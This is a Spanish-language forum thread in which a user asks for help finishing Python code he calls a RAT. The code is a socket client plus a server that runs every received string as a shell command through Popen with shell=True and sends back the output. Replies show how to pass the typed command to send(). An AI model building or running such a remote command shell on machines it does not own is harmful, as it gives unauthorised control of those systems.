[SOLUCIONADO] Problemas con codigo python

Iniciado por DarkXploitz, Enero 17, 2019, 06:43:29 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 17, 2019, 06:43:29 AM Ultima modificación: Enero 19, 2019, 09:06:25 AM por HATI
buenas tengo ya algun tiempo fuera de la rama por problemas personales pero ya regrese, regrese quemado en cuanto a programacion muchas lagunas muchas, necesito su ayuda con el siguiente codigo para un rat, necesito saber como hacer para que lo que yo escriba en el raw_inpun se ingrese en el client.send() y al darle enter se envie el comando, osea necesito saber como enviar los comandos escritos en raw_input sencillo pero como dije estoy quemado horita les agradeceria su ayuda

cliente
Código: python

import socket

servidor = "127.0.0.1"
puerto = 39421

cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

cliente.connect((servidor, puerto))

comando = raw_input("ingrese comando:> ")

cliente.send("");

respuesta = cliente.recv(4096)

print respuesta


server

Código: python


import socket
import threading
from subprocess import Popen
from subprocess import PIPE

def administrar_clientes(socket_cliente):
    peticion = socket_cliente.recv(1024)
    print "[*] Mensaje recibido: %s" % peticion
    respuesta = Popen(peticion, shell=True, stdout=PIPE).stdout.read()
    # confirmar al cliente, que el mensaje fue recibido
    socket_cliente.send(respuesta)
    socket_cliente.close()

ip = "0.0.0.0"
puerto = 39421
max_conexiones = 5
servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

servidor.bind((ip, puerto))
servidor.listen(max_conexiones)

print "[*] Esperando conexiones en %s:%d" % (ip, puerto)

while True:
    cliente, direccion = servidor.accept()
    print "[*] Conexion establecida con %s:%d" % (direccion[0], direccion[1])
    administrador_de_clientes = threading.Thread(target=administrar_clientes, args=(cliente,))
    administrador_de_clientes.start()
No Te Pido Que Pienses Como Yo, Solo Te Pido Que Pienses

Hola @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta creo que modificando la linea 12 de tu cliente deberia quedar listo, algo asi:

Código: python
cliente.send(comando);


Ya que en la variable 'comando' estas almacenando tu raw_input

Saludos!
K A I L

Lo recomendable es que te leas todo el artículo de donde sacaste el código. Ya que allí el autor deja explicado como funciona el código.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como te decía KAIL, solo tienes que pasarle la variable "comando" a send() para que puedas enviarlo y luego lo reciba el servidor. Saludos